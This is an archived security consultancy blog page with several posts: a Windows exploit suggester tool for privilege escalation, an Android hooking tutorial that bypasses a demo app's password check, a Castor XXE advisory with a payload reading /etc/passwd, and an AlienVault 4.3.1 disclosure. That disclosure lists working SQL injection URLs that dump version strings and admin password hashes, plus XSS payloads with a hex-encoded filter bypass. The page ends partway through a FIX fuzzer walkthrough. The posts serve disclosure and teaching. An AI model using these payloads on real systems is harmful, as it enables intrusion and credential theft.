Twitter
Friday
Jul112014

Introducing Windows Exploit Suggester

Introduction

Privilege escalation is an art form that revolves around information gathering, and enumeration of the target host. The idea is to find the quickest, and easiest way to escalate from a local user account to that of an Administrator. A common method for escalating is using a known exploit to target a vulnerability exposed on the unpatched host. This method is probably the fastest, and with the right information and toolkit of precompiled exploits and Metasploit modules, it is a quick win during any engagement. 

Let’s assume you have access as a local user to a partially patched Windows 7 Service Pack 1 machine. Are there any public exploits available? Which one do you run? Which exploits work with 32-bit and 64-bit architecture? Are there any Metasploit modules available to gain that coveted Meterpreter session? These questions can all be answered by manually reviewing the missing patches, and comparing that to the public exploits. Unfortunately, that is exceedingly time-consuming and thus unrealistic, this is why I sought to automate the process.

After searching online for a Window’s “exploit suggester” tool, I was surprised to find that none existed! Without further ado, I introduce “Windows Exploit Suggester” or for short “winsploit”, a tool created to automate the privilege escalation exploitation process targeting unpatched systems. This script takes, as input, the Microsoft Security Bulletin Database which is available free to download and is updated constantly by Microsoft.

It also needs the “systeminfo” command output on a target Windows host. Typically a low-privilege user is able to execute the “systeminfo” command, and when assessing the patch levels of a target host, it can provide a wealth of information (including hotfixes applied!).

Finally, it cross-references the previous information to that of a static list of Metasploit modules and publicy available proof-of-concept exploits for each bulletin number. When this information is combined, the end result is the ability to quickly analyse whether or not a target Windows host is vulnerable to many publicly available exploits.

Setup & Usage

You can find this tool on GitHub under the Windows-Exploit-Suggester repository. The tool is written in Python 2.7 and requires the xlrd library (for Excel spreadsheet parsing). This is most easily installed using pip.

$ pip install xlrd –upgrade

Alternatively, it can be downloaded from the website directly (https://pypi.python.org/pypi/xlrd/0.9.3). I was unable to use the version in the Ubuntu 12.04 repositories as it was incompatible, so had to use pip directly. 

Once the dependencies have been met, we will download the Microsoft Security Bulletin Database using the —update flag. This flag just scrapes the bulletin database from Microsoft and saves it as a local Excel file and will serve as our local bulletin database.

Once we get the local database file downloaded, we will need some “systeminfo” command output from our low-privilege user. I am using an example build from a Windows 7 Service Pack 1 32-bit machine in this scenario. Once I’ve gathered this data, I’ll run the tool against it, and include the Microsoft Bulletin database file.

Looking at the raw output, there are plenty of exploits to pick from! We can weed through the client-side attacks, assuming we’re not interested in Internet Explorer bugs at this time, and focus in on MS13-053. This exploit is quite reliable, and is better known as the pprFlattenRec exploit (http://www.rapid7.com/db/modules/exploit/windows/local/ppr_flatten_rec). The best thing about it is that it’s in Metasploit!

Everything this tool does could be done manually, but it has the ability to act as a quick solution when escalating privileges on a Windows host. I have found it helpful in many instances, especially when new bulletins come out and new Metasploit modules get released.

This tool also has the ability to tell you about any exploits possible about a target operating system. For example, lets say we want to know all of the public exploits available for a Windows 2008 R2 Server Itanium. This can be achieved with the —ostext flag, which is a loose representation of the operating system, service pack, and architecture (defaults to 32-bit).

This feature is really useful when you are able to fingerprint a target’s operating system and want to know if any Remote Code Execution bugs exist. Although not necessarily privilege escalation, it is a relevant feature to the tool.

Limitations

As with any automated tool, there are always limitations. These are some that I have identified through the use of the tool and it’s capabilities.

1 DAY ONLY — Of course this relies on known bulletins, exploits, and bugs but for an unpatched host it is a quick-win that can speed up the effectiveness of privilege escalation. It requires an entry to be present within the Microsoft Security Bulletin database, and with unsupported software (XP), these entries won’t exist! 

FALSE POSITIVES — The command output also assumes that you have every feature in Windows. For example, it will flag vulnerabilities relating to IIS even if IIS is not present on the machine! It assumes that it is a fully-featured Windows installation with all services so some intelligent manual filtering will have to be made when looking for an exploit.

INACCURATE SYSTEMINFO — There is also the presence of “File 1” entries in the ‘systeminfo’ command output which will skew the results because it cannot detect the relevant hotfixes. If there are “File 1” entries, additional commands will have to be executed to gather the hotfix data (querying the system registry directly, or using wmic). Once this data is collected it can be fed into the tool using the —hotfixes flag.

Summary

In summary, targeting an unpatched host is but one method of privilege escalation, and this tool makes that process much faster for Windows hosts. Time is essential when performing assessments, so any edge can really help. Please feel free to contact me regarding any bugs, comments, concerns, or feature requests so that I can take a look at them and make the tool even better! 

Thursday
Jun192014

Using Mobile Substrate with Android Applications

Android application assessments are a frequent occurrence here at GDS. When our clients do not provide us with source code, we take a black box testing approach which includes intercepting and/or modifying function calls. This can range from parameters passed to a function, function return values, or even logic within a function.

Recently we’ve been utilizing Mobile Substrate as an alternative to the tried and true APK decompile, modify, and recompile methodology. A key advantage being you don’t have to work with smali. 

Aside from the documentation on Mobile Substrate’s home site, there aren’t many posts on the web on how to use it and we’ve encountered a few errors and problems along the way. That being said, this post aims to provide a more in depth walkthrough for those interested in using Mobile Substrate in the most common scenarios.

Post Outline

The outline below illustrates the major topics that will be covered in this post:

  • Hooking functions
  • Viewing function parameters
  • Modifying function parameters
  • Viewing return values
  • Modifying return values

Getting Started

The application we will be using in this demonstration is a demo application called ListLock. This application allows users to password protect a super secret list from prowling eyes.

The techniques in this post will be focused on bypassing ListLock’s lock screen.

Note: This guide assumes you have a rooted device, have already installed Mobile Substrate onto the device, and have already downloaded the Mobile Substrate API.

In case you haven’t done so yet, you can download the Mobile Substrate APK here: https://play.google.com/store/apps/details?id=com.saurik.substrate 

You can also read the following documentation on how to download the Mobile Substrate APIs here: http://www.cydiasubstrate.com/id/73e45fe5-4525-4de7-ac14-6016652cc1b8/

Setting Up the IDE

Note: I will be using the Android Development Toolkit (Eclipse) IDE that is packaged with the Android SDK for creating our Substrate hook.

In order to start building our Substrate hooks, we need to create a new Android application project. The name of the class will be ‘ListBypass’. Uncheck the “Create custom launcher icon” and “Create activity” options and click “Finish”.

 

Adding Permissions to AndroidManifest.xml

The first thing we like to do before coding the actual Substrate hook is adding permissions to the AndroidManifiest.xml file. This is usually the step that we tend to forget whenever we’re developing a Substrate hook, so we prefer to take care of it first.

To do this, we can add the following tag towards the top of the manifest file:

<uses-permission android:name="cydia.permission.SUBSTRATE"/>

Including Substrate Libraries

Next, we need to include the Substrate libraries. The easiest way to do this is to navigate to the ‘android/adt/sdk/extras/saurikit/cydia_substrate/’ directory and drag-and-drop the ‘substrate-api.jar’ file into the libs folder of your project.

Eclipse will prompt you to “Copy files” or “Link to files”. You want to select “Copy files”

Note: One of the biggest pitfalls we see people make is to select the ‘Link to files’ option. While this will stop your IDE from complaining about missing dependencies, this approach will not work when you attempt to load your Substrate hook on the device. This is because the ‘Link to files’ option points to the jar on your local computer. Since the Substrate hook will be running on the device, it will be unable to locate the jar.

Finding Target Function

Before we can start hooking, we need to know what to hook. To do this, we can decompile the ListLock.apk using a tool like Dex2Jar and look through the code until we find the appropriate function. Instructions for decompiling an APK will not be discussed in this post. 

Let’s target the validatePassword() method found in the com.historypeats.listlock.classes.Authenticate class. By looking at the source-code, this method looks to be responsible for allowing a user to log into the ListLock application.

Below is a code snippet of the validatePassword() method:

public boolean validatePassword(String password, String storedPassword){

    if(storedPassword.equals(password)){
        return true;
    }
    return false;
}
Let’s see if we can bypass this using a Substrate hook. We have two attack vectors for accomplishing this:
  • Print out the storedPassword argument
  • Modify the return value

Coding a Substrate Hook

Let’s start off our code by adding some variables and making sure we import our dependencies:

import java.lang.reflect.Method;

import android.util.Log;

import com.saurik.substrate.MS;

 

public class ListBypass {

    private static String TAG = “ListBypass”;

    private static String className = “com.historypeats.listlock.classes.Authenticate”;

}

The ‘TAG’ variable identifies the logging statements that pertain to this Substrate hook. The ‘className’ variable represents the fully qualified class name that contains the method we want to hook. In this case, ‘com.historypeats.listlock.classes.Authenticate’ is the class that contains the ‘validatePassword’ method that we are targeting.

Next we’ll dive into the meat of our Substrate hook. We’ll go ahead and add the essential layout to get started with the hook.

private static String className = "com.historypeats.listlock.classes.Authenticate";

public static void initialize() {

 Log.i(TAG, "Substrate Initialized.");

         MS.hookClassLoad(className, new MS.ClassLoadHook() {

         @SuppressWarnings({ "unchecked", "rawtypes" })

             public void classLoaded(Class<?> _class) {

              Method method;

              final String methodName = "validatePassword";

              Log.i(TAG, "Class Loaded.");

                 try{

                  method = _class.getMethod(methodName, String.class, String.class); // public boolean validatePassword(String password, String storedPassword)

                 }catch(NoSuchMethodException e){

                  method = null;

                  Log.i(TAG, "No such method: " + methodName);

                 }

              if (method != null) {

              Log.i(TAG, "Method Hooked.");

              }

             }

         }); // End MS.hookClassLoad

}

Our IDE tells us that the MS.hookClassLoad() method is looking for a class name, and a hook object. Let’s go over the following essential code segments.

The variable ‘methodName’ contains the name of the method that we want to hook, which in this case is ‘validatePassword’. Next, we assign a value to the method variable by returning a method object from ‘_class.getMethod()’. The first argument to ‘_class.getMethod’ represents the target method to hook (‘validatePassword’). The subsequent arguments represent the target method’s parameter types (parameters accepted by ‘validatePassword’). The ‘validatePassword’ method accepts two string parameters, specifically a password and storedPassword. Note, the names of the parameters are irrelevant for hooking; only the types are important.

//public boolean validatePassword(String password, String storedPassword)

Some other commonly encountered parameter types you can pass to getMethod()include:

  • Byte.class
  • Integer.class
  • Boolean.class
  • Double.class
  • Float.class

Note: The primitive array equivalents work as well. For example, Integer[].class for an array of integers.

Running our Substrate Hook

With the skeleton of the Substrate hook in place, running this code should yield the following debug message in Logcat: “Method Hooked”. In order to test this out, install and run the ListBypass hook from ADT by clicking the ‘Run’ icon in the toolbar or by navigating to the ‘Run’ option at the top of the window and then selecting the ‘Run’ button in the dropdown menu.

This should result in an alert from the Mobile Substrate application about new/updated extensions. We can either click on this alert or open the Mobile Substrate application directly.There will be several options to choose from. Select the “Restart System (Soft)” option.The device will perform a quick restart, which will result in the loading of our Substrate hook. After the screen flashes, we can run the ListLock application and monitor the Logcat output for our debug message.

04-26 22:15:21.536: I/ListBypasss(11604): Substrate Initialized.

04-26 22:16:22.085: I/ListBypasss(12596): Class Loaded.

04-26 22:16:22.085: I/ListBypasss(12596): Method Hooked. 

 


Perfect! Based on the output, we have successfully hooked the method we had originally targeted. Now we can start performing the actions that we want.

First Attack: Print out method arguments

If you recall, the first goal was to discover the argument passed into the method. In this case, we want to find the value of the storedPassword parameter that is being passed into the validatePassword() method. Let’s start by writing the skeleton code with stub placeholders.

public static void initialize() {

 Log.i(TAG, "Substrate Initialized.");

         MS.hookClassLoad(className, new MS.ClassLoadHook() {

         @SuppressWarnings({ "unchecked", "rawtypes" })

             public void classLoaded(Class<?> _class) {

              Method method;

              final String methodName = "validatePassword";

              Log.i(TAG, "Class Loaded.");

                 try{

                  method = _class.getMethod(methodName, String.class, String.class); // public boolean validatePassword(String password, String storedPassword)

                 }catch(NoSuchMethodException e){

                  method = null;

                  Log.i(TAG, "No such method: " + methodName);

                 }

              if (method != null) {

              Log.i(TAG, "Method Hooked.");

              MS.hookMethod(_class, method, new MS.MethodAlteration<Object, Boolean>() {

                public Boolean invoked(Object _class, Object... args) throws Throwable

                {

                //Do Something 

                return invoke(_class, args);

                }

});// End MS.hookMethod

              }

             }

         }); // End MS.hookClassLoad

  }

In the code above, there is a call to the ‘MS.hookMethod()’ from the Substrate API. This method requires the following parameters: the class we hooked, the method we want to modify, and the altered method. What is an altered method? See below for an excerpt from the Substrate documentation:

“An instance of MS.MethodAlteration whose boxed invoked method will be called instead of member. This instance will also be filled in using information from the original implementation, allowing you to use invoke to call the original method implementation.”

This means that we can build a method named ‘invoked’ that will be called in place of the original method. Additionally, our invoked() method will have access to the parameters passed into the original method, allowing us to print out the values of the parameters. We also have the ability to call the original method (with the original parameters) from within our own method to allow the application to function as normal.

The items highlighted mark what the return type of the method we are hooking has. In this case, the ‘validatePassword()’ method that we are hooking has a return type of Boolean. In future hooks, you’ll want to ensure you have the proper return types that match the method you are hooking.

Finally, we need to invoke the original method to allow the application to function as normal. This is accomplished by calling ‘invoke()’, passing in the class and arguments that were originally provided. In this case, we immediately return the value returned by ‘invoke()’. As we’ll see later on, we can also store this value in a variable, modify its contents, etc.

Argument Tampering

Now that we have our own method that will be called in place of the original ‘validatePassword()’, let’s write the code to print out the juicy password arguments.

MS.hookMethod(_class, method, new MS.MethodAlteration<Object, Boolean>() {

    public Boolean invoked(Object _class, Object… args) throws Throwable {

        //Do Something

        String password = (String)args[0];

        String storedPassword = (String)args[1];

        Log.i(TAG, “Arg0 (password): ” + password);

        Log.i(TAG, “Arg1 (storedPassword): ” + storedPassword);

        return invoke(_class, args); // Call original validatePassword() method and pass it the original arguments then return the value to the caller

    }

});// End MS.hookMethod 

In the code above, the first argument represents the password the user entered into the application. This value is stored in the variable ‘password’. The second argument represents the stored password, which is the correct password to login to the list. This value is stored in the variable ‘storedPassword’. Since the args variable is of type Object, we need to remember to cast it to the proper type before we store it. In this case, we cast the values to String objects and store the values in String variables.

Viewing Arguments

We can now run our new Substrate hook following the steps previously outlined. The use of the Log() function should result in the values being printed out to Logcat.

04-26 23:12:39.621: I/ListBypasss(16551): Arg0 (password): wrongPassw0rd

04-26 23:12:39.621: I/ListBypasss(16551): Arg1 (storedPassword): C@ntSeeMyList!

 

Here we can see that the password we entered, wrongPassw0rd, does not match the correct password, which is C@ntSeeMyList!. Now that we know the correct password, we can simply log into the application!

Second Attack: Modify Return Values

Thus far, we have written a Substrate hook that will print out the stored password, thereby allowing us to login to the application. What if we didn’t want to type in the correct password every single time, but still be able to login? To accomplish this, we can tweak our Substrate hook to modify the return value of the ‘validatePassword’ method.

Let’s begin by printing out the return value of the ‘validatePassword’ method.

MS.hookMethod(_class, method, new MS.MethodAlteration<Object, Boolean>() {

    public Boolean invoked(Object _class, Object... args) throws Throwable {

        //Do Something

        Boolean originalRetValue = invoke(_class, args);

        Log.i(TAG, "Original Return Value: " + originalRetValue);

       return originalRetValue;

    }

});// End MS.hookMethod

In the code segment above, we use the ‘invoke()’ method to call the original ‘validatePassword()’ method with the original arguments. We then store the return value from ‘validatePassword()’ in a Boolean variable named ‘originalRetValue’, print this value to Logcat, and return it to the caller.

04-26 23:59:18.421: I/ListBypasss(22365): Original Return Value: false

As seen above, the ‘validatePassword()’ method returns ‘false’ when an incorrect password is entered. The next logical step is to modify our Substrate hook to return ‘true’ to the caller instead of the original return value.

MS.hookMethod(_class, method, new MS.MethodAlteration<Object, Boolean>() {

    public Boolean invoked(Object _class, Object... args) throws Throwable {

        //Do Something

        Boolean originalRetValue = invoke(_class, args);

        Boolean newRetValue = true;

        Log.i(TAG, "Original Return Value: " + originalRetValue);

        Log.i(TAG, "New Return Value: " + newRetValue);

        return newRetValue;

    }

});// End MS.hookMethod

Note that instead of returning ‘originalRetValue’, we return ‘newRetValue’, which is always true. This means that regardless of the password entered, we will always gain access to the List. It should be noted that we did not need to run the original method. So there is no need to call invoke() in this situation. We could have easily written: “return true”.

Image of super secret, embarrassing list

 

What if you want to hook multiple methods or classes? Well, if you want to create a single Substrate hook that hooks into multiple classes, all you need to do is create multiple MS.hookClassLoad methods, one after another. Sure, you can engineer a better object-oriented design, but for one or two classes, it may be simpler to just call multiple MS.hookClassLoad methods. Similarly for hooking multiple methods in a single class, you just call getMethod() multiple times with the proper arguments. 

In conclusion, we learned the basics of hooking with Mobile Substrate. From setting up our Substrate code in an IDE to extracting and modifying the data that we want. If you want to practice this, the Substrate code and demo APK can be found the Github link below:

 https://github.com/GDSSecurity/SubstrateDemo

Friday
Jun132014

Castor Library XML External Entity (XXE) Vulnerability 

Castor Library Default Configuration could lead to XML External Entity (XXE) Attack

Vulnerability Type: Local or Remote File Disclosure

Reporter: Ron Gutierrez ([email protected]) and Adam Bixby ([email protected])

Company: Gotham Digital Science ([email protected])

Affected Software:  Caster 1.3.3-RC1 Library and earlier

CVE-Reference - CVE-2014-3004

Severity: High

 

===========================================================

Summary

===========================================================

The Castor library is an Open Source data-binding framework for Java applications.  One of its most useful functions are to provide for easy implementations of Java-to-XML binding.  The library’s unmarshalling class, however, is susceptible to XML External Entity (XXE) attacks.  If the XML that is being passed to the unmarshalling function is controllable by an end user, there is the potential that they could retrieve local resources, download malicious code from other servers, and/or open arbitrary TCP connections.  For more information on XXE, please see https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

===========================================================

Technical Details

===========================================================

The Castor library’s unmarshalling functionality, if used with default settings, does not prevent the referencing of external entities or doctype declarations, opening up any application that utilizes this functionality to an XXE attack.  Under the hood, the Castor library is using the Xerces SAX Parser, which needs to be configured securely in order to prevent these types of attacks.  Castor does not have these secure settings turned on in the default configuration file and does not make reference to them anywhere in their documentation.

XXE attacks come about due to the way in which XML parsers in general handle XML documents containing external entities.  When an XML parser encounters a DOCTYPE declaring an external entity, it expands all instances of the entity with the contents of the URI reference that is being defined.  For example, consider an XML document such as the following:

<?xml version=”1.0” encoding=”ISO-8859-1”?>

<!DOCTYPE gds [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>

<gds>&xxe;</gds>

When the XML parser encounters “&xxe;” it will embed the contents of “/etc/passwd”, which may then be returned in the server’s response, typically in an exception message.

When you utilize the Castor library, the castor.properties file contains references to attributes that can be added to your SAX Parser configuration, however, it does not enable any of these hardening references out of the box.  Unless the developer is acutely aware that they need to add these hardening references to their configuration, their application will be potentially vulnerable.

 

===========================================================

Proof-of-Concept Code and Exploit

===========================================================

Now let’s look at how Castor handles unmarshalling calls to show how an application could be vulnerable:

In this simple class, we create Person object:

..snip..

public class Person implements java.io.Serializable {

/** The name of the person */

  private String name = null;

  /** The Date of birth */

  private Date dob = null;

  /** Creates a Person with no name */

  public Person() {

     super();

  }

  /** Creates a Person with the given name */

  public Person(String name) { this.name = name; }

..snip..

Next, we generate a class that takes in external XML data to convert the XML document to a Person Object using the unmarshalling function:

public static Person deserializePersonWithStatic(String xmlInput)

{

   StringReader xmlReader = new StringReader(xmlInput);

         

   Person aPerson = null;

    try

   {

          aPerson = (Person) Unmarshaller.unmarshal(Person.class, xmlReader);

   }

          catch (Exception e)

   {

          System.out.println(“Failed to unmarshal the xml”);

          e.printStackTrace();

   }

         

          return aPerson;

   }

If our application took in the XML data from a user controllable location and passed it through this unmarshalling function, the end user could use this functionality to view local resources on the application’s hosting server.  For example, look at the following Servlet that takes in XML data from the Request:

public class GeneratePerson extends HttpServlet {

    public void doPost(HttpServletRequest req, HttpServletResponse res)

                              throws ServletException, IOException

{

              String evilPersonXML = req.getParameter(“person”);

 

          Person anotherPerson = deserializePersonWithStatic(evilPersonXML);

         

          if(anotherPerson == null)

          {

                  System.out.println(“No Person Object set”);

          }

          else

          {

                  System.out.println(“XXE Person name: “+ anotherPerson.getName());

          }

 

What would happen if we passed the following string into the “person” request parameter value?:

<?xml version=”1.0” encoding=”UTF-8” standalone=”yes”?><!DOCTYPE doc [ <!ENTITY x3 SYSTEM “file:///etc/passwd”> ] ><person><name>&x3;</name></person>

The output would be the following:

XXE Person name: ##

# User Database

#

# Note that this file is consulted directly only when the system is running

# in single-user mode.  At other times this information is provided by

# Open Directory.

#

# See the opendirectoryd(8) man page for additional information about

# Open Directory.

##

nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false

root:*:0:0:System Administrator:/var/root:/bin/sh

daemon:*:1:1:System Services:/var/root:/usr/bin/false

..snip..

As you can see, the unmarshalling function allowed external entities to be referenced and therefore the contents of the server’s /etc/passwd file was set within the “name” variable of the deserialized Person object.

===========================================================

Recommendation

===========================================================

The fix for this issue is actually very simple.  The main Castor configuration file (castor.properties) can be used to specify which XML features should be enable/disabled.  In order to prevent the parser from reading external entities , the external-general-entities and the external-parameter-entities should be disable.  Additionally, the disallow-doctype-decl option should be turned on.  The following is what the entry in the caster.properties file should look like:

# Comma separated list of SAX 2 features that should be enabled

# for the default parser.

#

org.exolab.castor.sax.features=\

 http://apache.org/xml/features/disallow-doctype-decl

# Comma separated list of SAX 2 features that should be disabled

# for the default parser.

#

org.exolab.castor.sax.features-to-disable=\

 http://xml.org/sax/features/external-general-entities,\

 http://xml.org/sax/features/external-parameter-entities,\

 http://apache.org/xml/features/nonvalidating/load-external-dtd

 

 

Thursday
Apr242014

SQL Injection in Dynamically Constructed Images (and other sql related mischief)

Howdy. Today we’ll be going through a SQL injection edge case that tends to be missed by automated scanning tools - SQL injection in web application image constructors. At times web applications have requirements for the creation of images based on some input data. Commonly this input is related to the dimensions of the output image, dynamic watermarking and branding or some other aesthetic requirement. Sometimes applications need to represent data sets in an image. A common example would be related to the use of libraries that create a chart based on some user supplied input or data from a database.

Automated scanning solutions tend to ignore any HTTP responses that contain an image related mime type. This is typically due to the inherent size of the responses and the preference HTTP libraries have for parsing text based data.

A combination of these factors makes it quite likely that any dynamically constructed images will not be suitably assessed during an security assessment. Experience has indicated that issues can be present in many forms; from vanilla “UNION” to more complex blind or error based SQL injection.

Error Based SQL Injection:

Dmitry Evteev of Positive Technologies Research Lab demonstrated practical approaches to exploiting error based SQL injection in his paper titled: “Methods of Quick Exploitation of Blind SQL Injection”. In essence this technique relies on casting expected data types to a format that will produce a specific error type and reveal the miscast data. 

The following exploitation and response string demonstrate the issue:

Exploit string:

select convert(int,@@version);

Response:

Conversion failed when converting the nvarchar value ‘Microsoft SQL Server 2008 (SP1) - 10.0.2531.0 (X64) Mar 29 2009 10:11:52 Copyright (c) 1988-2008 Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.0 (Build 6002: Service Pack 2) (VM)…’ to data type int.

So in the above example the subquery “@@version” is performed and then an attempt is made to cast the string response to an integer datatype which is unsupported and results in a disclosure of the subquery response.

Let’s examine an instance of error based SQL injection in the AlienVault Open Source Security Information Management (OSSIM). This is an issue I reported earlier, in 2013.

The complete exploit string looks like the following:

https://127.0.0.1/geoloc/graph_geoloc2.php?year=2007&user=dsdds’%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a);—%20-

What we are doing here is leveraging error based SQL injection in combination with “UNION” based SQL injection to extract the following MySQL database version string:

Duplicate entry ‘5.5.29-29.41’ for key ‘group_key’

This response data, if included as part of a HTTP response with an image based mime-type will more than likely be ignored by automated scanners or sql exploitation tools.

Dynamically constructed images are identifiable through the presence of parameters in the resource path. The example above contains parameters “year” and ”user”. Other common parameter names include “width”,”height”,”blur”,”path” etc

In short; if parameters are seen passed to image resource URLs they should be manually tested! More often than not you will get internal path disclosure sometimes you will get a lot more.

Exploiting SQL Errors To Perform Cross Site Scripting:

MySQL does not perform any output encoding on errors. This can be fairly useful if we want to inject client-side code in an application that is otherwise handling user supplied data in a sane way. A simple way would be to select an XSS payload as a string as per the following example:

UNION SELECT 0”<script>alert(‘GDS’)</script>,2 —

The response snippet will contain an unencoded, unescaped and unfiltered XSS payload.

If we want to evade browser based XSS mechanisms such as Google Chrome’s XSSAuditor we can use ASCII hex encoding support to decode our payload before returning it. The following example contains an ASCII hex encoded version of our payload:

UNION SELECT 0x30223c7363726970743e616c657274282747445327293c2f7363726970743e,2 —

Modern browsers perform reflected XSS checks by comparing segments of the URL to HTTP responses. By asking the target database to decode our payload we effectively bypass these checks, which is nifty.

If we want to needlessly complicate the matter (and show some flair) we can combine this XSS vector in combination with a SQL injection response to perform a JavaScript alert of the response data. An example of this attack in the identified AlientVault SQL injection vector is presented below:

https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((concat(0x3c7363726970743e616c6572742822,’database%20version:’,@@version,0x22293c2f7363726970743e)),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2

Response:

<script>alert(“5.5.29-29.41”)</script>


AlienVault 4.3.1 Unauthenticated SQL Injection Disclosure

The complete AlienVault disclosure is included below (please note that the vendor has addressed all issues in AlienVault 4.3.2):

AlienVault 4.3.1 Unauthenticated SQL Injection
Vulnerability Type: SQL Injection
Reporter: Sasha Zivojinovic
Company: Gotham Digital Science
Affected Software: AlienVault 4.3.1

Severity: Critical

=========================================================== Summary ===========================================================

A number of SQL injection vectors were identified within AlienVault (AV) 4.3.1 components. The “Geolocation Graph” and “Radar Access Control” AV components were found to accept HTTP request parameters that are concatenated without filtering or validation. These parameters are then passed as SQL queries which exposes the application to SQL Injection. This issue can be exploited by any unauthenticated users who have access to the AV web application. In addition the effective MySQL user was found to be “root” which allows attackers to leverage the identified issues into attacks against the AV host system.

=========================================================== Technical Details ===========================================================

The ‘date_from’ and ‘date_to’ parameters passed to the ‘graph_geoloc.php’ page, the ‘date_from’ and ‘date_to’ parameters passed to the ‘radar-iso27001-A11AccessControl-pot.php’ page and the “user” parameter passed to the “graph_geoloc2.php” page are vulnerable to SQL injection attacks. These parameters were found to evaluate any SQL statements passed to them via a HTTP GET request.

PHP functions “whereYM” and “getSourceLocalSSIYear” in source file “/var/www/geoloc/include/data_functions.inc” do not filter or validate user supplied input when constructing dynamic SQL queries. Attackers can inject arbitrary SQL statements that will be evaluated on the underlying MySQL server.

Due to time limitations it has not been possible to locate the causes of the other identified vectors.


Extending the attack:

An attacker can retrieve various AV credentials including the MySQL connection string by querying the “alienvault.config” database table or by querying the “/etc/ossim/idm/config.xml” file through MySQL file access methods such as “LOAD_FILE”. Almost all credentials used by AV are equivalent so retrieving the credentials for the nessus user will also reveal the credentials for the SQL server and other components. These credentials are stored in plain-text within the database. By querying the “alienvault.users” table the attacker can retrieve the unsalted MD5 password hashes for administrative users. These hashed credentials are equivalent to the SSH credentials for the same users. Once these credentials have been retrieved and cracked an attacker can bypass the restrictions present in the SQL injection vector and perform arbitrary system or SQL queries by connecting directly to the AV host via SSH and using the local MySQL client to connect to the MySQL server.


Cross Site Scripting (XSS):

In addition the presence of MySQL errors presents an opportunity for reflected XSS attacks as the MySQL server does not filter responses when returning errors to the application user.


===========================================================
Proof-of-Concept Exploit ===========================================================

https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01’%20union%20all%20select(SLEEP(10)),2—%20-&date_to=2013-07-30

The integer value passed as a parameter to the “SLEEP” function can be increased or decreased to validate this finding.

Error based evaluation can be used to return the MySQL version as per the following examples:

https://127.0.0.1/geoloc/graph_geoloc2.php?year=2007&user=dsdds’%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a);—%20-
https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2013-07-30
https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01&date_to=2013-07-30’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-
https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2&date_to=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-
https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2
https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((concat(0x3c7363726970743e616c6572742822,’database%20version:’,@@version,0x22293c2f7363726970743e)),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2

Response:

Duplicate entry ‘5.5.29-29.41’ for key ‘group_key’

Pulling “admin” user password hashes:

https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select pass from alienvault.users where login=’admin’),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2


Cross Site Scripting:

The following examples demonstrate the use of unfiltered MySQL errors as an XSS vector:

Vanilla XSS

https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01’%20union%20select%200”<script>alert(‘GDS’)</script>,2%20—%20-&date_to=2013-07-30

ASCII Encoded XSS Variant (useful in bypassing application layer filters)

https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01’%20union%20select%200x27223e3c7363726970743e616c6572742831293c2f7363726970743e,2%20—%20-&date_to=2013-07-30

===========================================================
Recommendation ===========================================================

AlienVault deployments should be upgraded to the latest stable version. The issues documented in this disclosure have been remediated in AlienVault 4.3.2.

Friday
Apr112014

Fizzer Walkthrough

In September of 2013, GDS released a tool named Fizzer to fuzz the FIX (Financial Information eXchange) protocol.  You can find the original blog post here.

As a follow up to the original release of Fizzer, we wanted to give a brief walkthrough of running the tool.  Furthermore, different FIX receivers handle the fuzzed packets in different ways.  In addition, a couple of code changes can turn this tool into a quick way to test authentication or authorization in FIX systems.  For these reasons, we wanted to dive into some scenarios where you might want to modify the code.

Running Fizzer

Fizzer runs by inserting fuzz strings into FIX requests it parses from a raw packet capture.  The first step is to record a live FIX session between a client and server.  This session must be saved in RAW format to be accepted by Fizzer.  In Wireshark, this can be accomplished by following the TCP stream and selecting “Save As” for the selected conversation.

Once the session has been exported as a raw file, it can be given to Fizzer as a command line argument.  The host IP address, port, Sender Comp ID (sending institution), starting sequence number, and an optional output log file must also be specified.   Running the program without any command line arguments will show information about the usage of these arguments.

Common Modifications and Scenarios

Add Sender Comp ID to Ignored Tags

There is a line in the main loop which specifies which tags should not be fuzzed.  Some organizations may opt to include the SenderCompID (tag 49) in this list.  Adding “49=” to code below will instruct Fizzer to ignore that field.  By default, the BeginString, Message Length, MsgType, MsgSeqNum, and Checksum are ignored.  

else if (part.StartsWith(“8=”) || part.StartsWith(“9=”) || part.StartsWith(“35=”) || part.StartsWith(“34=”) || part.StartsWith(“10=”))

{

//Don’t fuzz these tags

}

Respond to Resend Requests

